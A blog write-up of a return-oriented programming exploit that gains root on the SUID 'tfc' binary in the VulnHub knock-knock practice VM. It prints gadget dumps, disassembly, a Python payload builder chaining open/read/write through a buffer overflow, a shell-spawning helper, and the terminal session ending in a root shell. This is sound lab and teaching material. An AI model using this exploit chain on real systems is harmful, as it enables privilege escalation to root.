staring into /dev/null

barrebas

Rop-rop for Knock-knock

I couldn’t resist to make a ROP exploit for tfc, the last binary to root knock-knock.

I really like return-oriented-programming and I love to practice it! After seeing the awesome writeups for knock-knock by leonjza, superkojiman and knapsy, I was itching to see if I could pull a ROP exploit off. I knew about the buffer overflow, but what would I need to re-use code present in the binary? There are many ‘types’ of ROP, such as ret2libc and chaining of so-called ROP gadgets. I first checked if there were enough gadgets to pull something off, like spawning a shell. radare2 now has a nice feature where you can search for ROP gadgets with /R. Furthermore, gdb-peda has an awesome ROP gadget search function. Lastly, I built a custom ROP gadget dumper. Not the most elegant solution, but it gives me a file I can cat and grep. Unfortunately, the amount of gadgets was only 107 and they weren’t really useful, either. Back to the drawing board!

# sample output of ropgadgets.py
RET: 0x8048921: add cl, cl; ret; 
RET: 0x804891f: add [eax], al; add cl, cl; ret; 
CALL_REG: 0x8048917: and al, 0xe8; call ebx; 
CALL_REG: 0x8048911: dec dword [ebx+0x489f045]; and al, 0xe8; call ebx; 
JMP_REG: 0x8048753: and al, 0xe8; jmp edi; 
JMP_REG: 0x804874d: fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi; 
JMP_REG: 0x804874b: and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi; 
JMP_REG: 0x804874a: inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi; 
JMP_REG: 0x8048748: add edi, eax; inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi; 
JMP_REG: 0x8048747: rol byte [ecx], 0xc7; inc esp; and al, 0x4; fisttp dword [edx+0x4890804]; and al, 0xe8; jmp edi; 
RET: 0x80486e3: add cl, cl; ret; 
RET: 0x80486e1: add [eax], al; add cl, cl; ret; 
RET: 0x8048615: dec ecx; ret;

There are more ways to go about this problem. We want to do something that will lead to a root shell, without actually executing shellcode on the stack. But without enough gadgets, we’re left with not much else. But wait! We still have access to the functions that the binary uses.

bas@tritonal:~/tmp/knockknock$ objdump -d tfc |grep ".plt" 
Disassembly of section .plt:

08048430 <strcmp@plt-0x10>:
 8048430:   ff 35 4c 9d 04 08      pushl  0x8049d4c
 8048436:   ff 25 50 9d 04 08       jmp    *0x8049d50
 804843c:   00 00                 add    %al,(%eax)
    ...

08048440 <strcmp@plt>:
 8048440:   ff 25 54 9d 04 08       jmp    *0x8049d54
 8048446:   68 00 00 00 00           push   $0x0
 804844b:   e9 e0 ff ff ff          jmp    8048430 <_init+0x2c>

08048450 <read@plt>:
 8048450:   ff 25 58 9d 04 08       jmp    *0x8049d58
 8048456:   68 08 00 00 00           push   $0x8
 804845b:   e9 d0 ff ff ff          jmp    8048430 <_init+0x2c>

08048460 <printf@plt>:
 8048460:   ff 25 5c 9d 04 08      jmp    *0x8049d5c
 8048466:   68 10 00 00 00           push   $0x10
 804846b:   e9 c0 ff ff ff          jmp    8048430 <_init+0x2c>

08048470 <__xstat@plt>:
 8048470:   ff 25 60 9d 04 08       jmp    *0x8049d60
 8048476:   68 18 00 00 00           push   $0x18
 804847b:   e9 b0 ff ff ff          jmp    8048430 <_init+0x2c>

08048480 <puts@plt>:
 8048480:   ff 25 64 9d 04 08       jmp    *0x8049d64
 8048486:   68 20 00 00 00           push   $0x20
 804848b:   e9 a0 ff ff ff          jmp    8048430 <_init+0x2c>

08048490 <__gmon_start__@plt>:
 8048490:   ff 25 68 9d 04 08       jmp    *0x8049d68
 8048496:   68 28 00 00 00           push   $0x28
 804849b:   e9 90 ff ff ff           jmp    8048430 <_init+0x2c>

080484a0 <open@plt>:
 80484a0:   ff 25 6c 9d 04 08      jmp    *0x8049d6c
 80484a6:   68 30 00 00 00           push   $0x30
 80484ab:   e9 80 ff ff ff           jmp    8048430 <_init+0x2c>

080484b0 <__libc_start_main@plt>:
 80484b0:   ff 25 70 9d 04 08       jmp    *0x8049d70
 80484b6:   68 38 00 00 00           push   $0x38
 80484bb:   e9 70 ff ff ff           jmp    8048430 <_init+0x2c>

080484c0 <write@plt>:
 80484c0:   ff 25 74 9d 04 08       jmp    *0x8049d74
 80484c6:   68 40 00 00 00           push   $0x40
 80484cb:   e9 60 ff ff ff           jmp    8048430 <_init+0x2c>

080484d0 <strrchr@plt>:
 80484d0:   ff 25 78 9d 04 08       jmp    *0x8049d78
 80484d6:   68 48 00 00 00           push   $0x48
 80484db:   e9 50 ff ff ff           jmp    8048430 <_init+0x2c>

080484e0 <__lxstat@plt>:
 80484e0:   ff 25 7c 9d 04 08      jmp    *0x8049d7c
 80484e6:   68 50 00 00 00           push   $0x50
 80484eb:   e9 40 ff ff ff           jmp    8048430 <_init+0x2c>

080484f0 <close@plt>:
 80484f0:   ff 25 80 9d 04 08       jmp    *0x8049d80
 80484f6:   68 58 00 00 00           push   $0x58
 80484fb:   e9 30 ff ff ff           jmp    8048430 <_init+0x2c>

We can re-use open, read and write to basically read and write any file we want! I began to write a basic Proof of Concept ROP chain. This chain would simply write to a file descriptor that is already open. These file descriptors are incremented every time a file is opened and therefore guessable. This will help later on, when we open our own files. Without gadgets, it is hard to pass values from one function call to the next… Luckily, 0x0 through 0x2 are used for stdin, stdout and stderr, and any file that is opened after that gets 0x3. The next one gets 0x4, and so on. This means that in.tfc is 0x3 and out.tfc is 0x4.

I searched for the address of write@plt which turned out to be 0x80484c0. I leveraged my buffer overflow from before to take control of code execution. We supply a large input of at least 4124 bytes. The buffer overflows, the return address on the stack is overwritten with the address of write. When the ret statement executes, we take control of code execution. Because the address points to write, this function will be executed using values conveniently placed on the stack. So at the point of gaining control of eip:

esp-04: AAAA
esp-->: 0x80484c0   # return to 'write'
esp+04: FAKE        # fake return address for when 'write' complets
esp+08: 0x4         # this is the file descriptor for 'out.tfc'
esp+0c: 0x80488b0   # random value for buffer, contains the bytes 8b 45 ec
esp+10: 0x3         # length of buffer

I ran this through the encryption Python script and fed the output to tfc:

python -c 'print "A"*4124 + "\xc0\x84\x04\x08AAAA\x04\x00\x00\x00\xb0\x88\x04\x08\x03\x00\x00\x00"' > in.tfc && python ./enc.py
bas@tritonal:~/tmp/knockknock$ ./tfc out2.tfc test5.tfc
Segmentation fault (core dumped)
bas@tritonal:~/tmp/knockknock$ xxd test5.tfc
0000000: 8b45 ec

Success! The three bytes from the buffer are written into test5.tfc. This isn’t very useful yet, so I decided to create my own file first. This way, we can specify permissions, such as having the SUID bit set! The plan, in very ugly pseudo-code, is:

file1 = open('file1', 'w', 04777)
file2 = open('file2', 'r')
read(file2, &buf, sizeof(file2))
write(file1, &buf, sizeof(file1))

I’ll go step by step. First, let’s open our own file. The functions open and write look like this:

int open(const char *pathname, int flags, mode_t mode);
ssize_t write(int fd, const void *buf, size_t count);

There are several challenges here. First, we cannot specify our own filename, because we cannot pass strings to the program and know where they’ll end up on the stack. Second, we can’t pass the filehandle around. Third, I have no clue how flags and mode work, in binary. Fourth, we need some way to clean up the stack so we can chain these libc calls together.

Overcoming the first challenge is easy. tfc contains several strings which we can re-use. I chose ‘read’ as I though it was fitting. It’s located at 0x8049315. For the output file, I already looked up the location of ‘write’ at 0x804933e. I then proceeded to make a small binary, to get the values for flags and mode:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(int argc, char **argv) 
{
    FILE *f = open("test", O_WRONLY|O_APPEND|O_CREAT, 04755);
    exit(0);
}
bas@tritonal:~/tmp/knockknock$ objdump -d a.out |grep open -B4
--
  400579:   ba ed 09 00 00         mov    $0x9ed,%edx
  40057e:   be 41 04 00 00          mov    $0x441,%esi
  400583:   bf 34 06 40 00          mov    $0x400634,%edi
  400588:   b8 00 00 00 00          mov    $0x0,%eax
  40058d:   e8 ce fe ff ff          callq  400460 <open@plt>

Finally, cleaning up the stack is necessary. After the first call to open, the stack would look like this:

esp-04: 0x80484c0   # return to 'write'
esp-->: next_func   # next function address
esp+04: 0x4         # this is the file descriptor for 'out.tfc'
esp+08: 0x80488b0   # random value for buffer, contains the bytes 8b 45 ec
esp+0c: 0x3         # length of buffer

return to next_func:

esp-08: 0x80484c0   # return to 'write'
esp-04: next_func   # next function address
esp-->: 0x4         # this is the file descriptor for 'out.tfc'
esp+04: 0x80488b0   # random value for buffer, contains the bytes 8b 45 ec
esp+08: 0x3         # length of buffer

But next_func requires completely different arguments! We need to align the stack pointer after returning from ‘write’. This can be removing a few values from the stack before return to next_func.

This removal of values can be using a primitive called pop pop pop ret. The return address for the libc calls is a place in the binary that contains three pop instructions, which pop three values from the stack, and then return to whatever value is on the stack. This allows code execution to continue smoothly, otherwise it might choke on one of the values that we pass to a libc function. I used my ropgadget script to find it at 0x80489d6; there are many more, and many other ways to find them. The basic ROP chain element now looks like this:

esp-->: ADDR        # return to function at ADDR

esp+04: PPPR        # pop pop pop ret primitive, to remove values from the stack. 
                    # this pppr primitive must have enough POPs to remove N arguments from the stack!

esp+08: ARG_1       # argument one for function at ADDR
esp+0c: ARG_2       # argument two for function at ADDR
esp+10: ARG_n       # argument n   for function at ADDR

esp+14: NEXT        # return to next function at NEXT

So we have all the values we need, let’s put it together in a semi-smart and flexible way. I made a python script to handle building and encrypting the payload:

#!/usr/bin/python
import struct, sys

def p(x):
    return struct.pack('<i', x)
    
def xcrypt(data):
    xor_key = 0xea1ab19f 
    
    output = ''
    
    for i in range(len(data)/4):
        block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
        output += struct.pack( '<L', (block ^ xor_key) )
        
        for n in range(8):
            temp_xor_key = xor_key >> 1
            if (xor_key & 1):
                temp_xor_key ^= 0x6daa1cf4
            xor_key = temp_xor_key
    
    return output
    
def genPayload():
    payload = ''
    payload += "A"*4124

    # open('write') for writing. fd = 0x05
    payload += p(0x80484a0) # open@plt()
    payload += p(0x80489d6) # pppr
    payload += p(0x804933e) # "write\x00"
    payload += p(0x441) # O_WRONLY|O_CREAT|O_APPEND
    payload += p(0x9ed) # 04755

    # write 0x200 bytes to 'write'
    payload += p(0x80484c0) # write@plt()
    payload += p(0x80489d6) # pppr
    payload += p(0x5)        # fd
    payload += p(0x8049db8)  # buffer
    payload += p(0x200)      # size_t

    return xcrypt(payload)
    
if __name__ == "__main__":
    with open('out.tfc', 'w') as f:
        f.write(genPayload())
        f.close()

OK, so I’m already ahead a bit. We will need a buffer to store bytes from the ‘read’ file later. The binary does not seem to have a lot of locations for this, as can be seen from readelf -l ./tfc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
bas@tritonal:~/tmp/knockknock$ readelf -l tfc

Elf file type is EXEC (Executable file)
Entry point 0x8048500
There are 8 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
  INTERP         0x000134 0x08048134 0x08048134 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x00c48 0x00c48 R E 0x1000
  LOAD           0x000c48 0x08049c48 0x08049c48 0x00250 0x00254 RW  0x1000
  DYNAMIC        0x000c54 0x08049c54 0x08049c54 0x000f0 0x000f0 RW  0x4
  NOTE           0x000148 0x08048148 0x08048148 0x00044 0x00044 R   0x4
  GNU_EH_FRAME   0x000b54 0x08048b54 0x08048b54 0x00034 0x00034 R   0x4
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

Looks like there is some space in the DYNAMIC or LOAD sections. I fired up the binary in gdb to verify:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
Breakpoint 1, 0x08048927 in main ()
gdb-peda$ x/400x 0x08049c54
0x8049c54 <_DYNAMIC>:   0x00000001  0x00000010  0x0000000c  0x08048404
0x8049c64 <_DYNAMIC+16>:    0x0000000d  0x08048a54  0x00000019  0x08049c48
0x8049c74 <_DYNAMIC+32>:    0x0000001b  0x00000004  0x0000001a  0x08049c4c
0x8049c84 <_DYNAMIC+48>:    0x0000001c  0x00000004  0x00000004  0x0804818c
0x8049c94 <_DYNAMIC+64>:    0x6ffffef5  0x080481d8  0x00000005  0x080482d8
0x8049ca4 <_DYNAMIC+80>:    0x00000006  0x080481f8  0x0000000a  0x00000087
0x8049cb4 <_DYNAMIC+96>:    0x0000000b  0x00000010  0x00000015  0xf7715924
0x8049cc4 <_DYNAMIC+112>:   0x00000003  0x08049d48  0x00000002  0x00000060
0x8049cd4 <_DYNAMIC+128>:   0x00000014  0x00000011  0x00000017  0x080483a4
0x8049ce4 <_DYNAMIC+144>:   0x00000011  0x0804839c  0x00000012  0x00000008
0x8049cf4 <_DYNAMIC+160>:   0x00000013  0x00000008  0x6ffffffe  0x0804837c
0x8049d04 <_DYNAMIC+176>:   0x6fffffff  0x00000001  0x6ffffff0  0x08048360
0x8049d14 <_DYNAMIC+192>:   0x00000000  0x00000000  0x00000000  0x00000000
0x8049d24 <_DYNAMIC+208>:   0x00000000  0x00000000  0x00000000  0x00000000
0x8049d34 <_DYNAMIC+224>:   0x00000000  0x00000000  0x00000000  0x00000000
0x8049d44:    0x00000000  0x08049c54  0xf7715938  0xf77084a0
0x8049d54 <strcmp@got.plt>: 0x08048446  0x08048456  0x08048466  0x08048476
0x8049d64 <puts@got.plt>:   0x08048486  0x08048496  0x080484a6  0xf7545970
0x8049d74 <write@got.plt>:  0x080484c6  0x080484d6  0x080484e6  0x080484f6
0x8049d84:    0x00000000  0x00000000  0x00000000  0x00000000
0x8049d94:    0x00000000  0x00000000  0x00000000  0x00000000
0x8049da4 <__dso_handle>:   0x00000000  0x00000000  0x00000000  0x00000000
0x8049db4 <__dso_handle+16>:    0x00000000  0x00000000  0x00000000  0x5f5f5f5f
0x8049dc4 <banr+4>: 0x5f5f5f5f  0x5f5f5f5f  0x5f5f5f5f  0x5f5f5f5f
0x8049dd4 <banr+20>:    0x5f5f5f5f  0x5f5f5f5f  0x205f5f5f  0x5c0a0d20
0x8049de4 <banr+36>:    0x20205f5f  0x5f5f2020  0x5f5c2f5f  0x5f202020
0x8049df4 <banr+52>:    0x5f5f5f5f  0x205f5c2f  0x5f5f2020  0x205c205f
...
0x8049fe4:    0x00000000  0x00000000  0x00000000  0x00000000
0x8049ff4:    0x00000000  0x00000000  0x00000000  Cannot access memory at address 0x804a000

We can’t really use places like 0x8049d54 <strcmp@got.plt>, because there are function pointers there, ones that we need! I picked this location at 0x8049db8. It didn’t look like it contained crucial information. Furthermore, it was writeable and had a decent number of bytes behind it.

While we’re at it, let’s make sure we can read and write large files. Unfortunately, the buffer is only 0x200 bytes large. This means we have to chunk it up!

#!/usr/bin/python
import struct, sys

def p(x):
    return struct.pack('<i', x)
    
def xcrypt(data):
    xor_key = 0xea1ab19f 
    
    output = ''
    
    for i in range(len(data)/4):
        block = struct.unpack( '<L', data[i*4 : (i+1)*4] )[0]
        output += struct.pack( '<L', (block ^ xor_key) )
        
        for n in range(8):
            temp_xor_key = xor_key >> 1
            if (xor_key & 1):
                temp_xor_key ^= 0x6daa1cf4
            xor_key = temp_xor_key
    
    return output
    
def genPayload(filesize):
    print "[!] filesize = {}".format(filesize)
    
    payload = ''
    payload += "A"*4124

    # open('write') for writing. fd = 0x05
    payload += p(0x80484a0) # open@plt()
    payload += p(0x80489d6) # pppr
    payload += p(0x804933e) # "write\x00"
    payload += p(0x441) # O_WRONLY|O_CREAT|O_APPEND
    payload += p(0x9ed) # 04755

    # open('read') for reading. fd = 0x06
    payload += p(0x80484a0) # open@plt()
    payload += p(0x80489d6) # pppr
    payload += p(0x8049315) # "read\x00"
    payload += p(0x0000000) # readonly
    payload += p(0x0000000) # ?

    iterations = (filesize / 0x200)+1
    print "[!] need {} iterations".format(iterations)
    
    for i in range(iterations):
        # read 0x200 bytes from 'read'
        payload += p(0x8048450) # read@plt()
        payload += p(0x80489d6) # pppr
        payload += p(0x6)        # fd
        payload += p(0x8049db8)  # buffer
        payload += p(0x200)      # filesize  --> not a lot to work with, but enough for ssh keys

        # write 0x200 bytes to 'write'
        payload += p(0x80484c0) # write@plt()
        payload += p(0x80489d6) # pppr
        payload += p(0x5)        # fd
        payload += p(0x8049db8)  # buffer
        payload += p(0x200)      # size_t

    return xcrypt(payload)
    
if __name__ == "__main__":
    if len(sys.argv) < 1:
        print "Usage: {} <file>".format(sys.argv[0])
        print "Please provide proper files/symlinks in 'read' and 'write'"
        exit -1
    
    with open(sys.argv[1]) as i:
        data = i.read()
        i.close()
    
    with open('out.tfc', 'w') as f:
        f.write(genPayload(len(data)))
        f.close()

This python code will add blocks of read & write ROP chain elements, just as many are needed for a certain file. This is also why we’ve opened the output file as O_APPEND: each write will simply add to the existing file, no hassle!

Unfortunately, if you want to read and write really large files, like /bin/dash, tfc crashes before it can even get to our ROP chain. I solve that with a little helper program:

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) 
{
    system("/bin/dash");
    exit(0);
}

OK, so now our moment supreme:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
jason@knockknock:~$ ls -l
total 24
-rw-r--r-- 1 jason jason  109 Oct 16 14:31 getshell.c    
-rwxr-xr-x 1 jason jason 4966 Oct 16 14:31 read         # our little helper program
-rw-r--r-- 1 jason jason 1941 Oct 16 13:29 rop.py       # the rop exploit
-rwsr-xr-x 1 root  jason 7457 Oct 11 18:35 tfc
jason@knockknock:~$ python rop.py read                  # generate the ROP exploit using 'read'
[!] filesize = 4966
[!] need 10 iterations
jason@knockknock:~$ ls -l
total 32
-rw-r--r-- 1 jason jason  109 Oct 16 14:31 getshell.c
-rw-r--r-- 1 jason jason 4564 Oct 16 14:31 out.tfc      # this is the file we will feed to tfc
-rwxr-xr-x 1 jason jason 4966 Oct 16 14:31 read
-rw-r--r-- 1 jason jason 1941 Oct 16 13:29 rop.py
-rwsr-xr-x 1 root  jason 7457 Oct 11 18:35 tfc
jason@knockknock:~$ ./tfc out.tfc pwned.tfc             # let's run the ROP exploit
Segmentation fault
jason@knockknock:~$ ls -l
total 40
-rw-r--r-- 1 jason jason  109 Oct 16 14:31 getshell.c
-rw-r--r-- 1 jason jason 4564 Oct 16 14:31 out.tfc
-rw-r--r-- 1 root  jason    0 Oct 16 14:32 pwned.tfc
-rwxr-xr-x 1 jason jason 4966 Oct 16 14:31 read
-rw-r--r-- 1 jason jason 1941 Oct 16 13:29 rop.py
-rwsr-xr-x 1 root  jason 7457 Oct 11 18:35 tfc
-rwsr-xr-x 1 root  jason 5120 Oct 16 14:32 write        # this is a copy of our helper program, but SETUID!
jason@knockknock:~$ ./write                             # let's give it a spin!
# whoami
root                                                    # YEAHHH!!

And picture-proof:

It worked! The file write is created with SUID set and contains the shell-spawning helper program. Mind you, when I was writing this ROP exploit, I used a local copy of tfc that was not running as root. When the write file was created, it had the SUID bit set, but as soon as something was written to it, the SUID bit was removed. This is security feature (?) is ignored when running as root! Lucky for me ;)

So this is another way to root. I wonder how many more there are! :) Again, thanks zer0w1re and VulnHub for hosting this VM! Also cheers to leonjza for proof-reading this post!!

Comments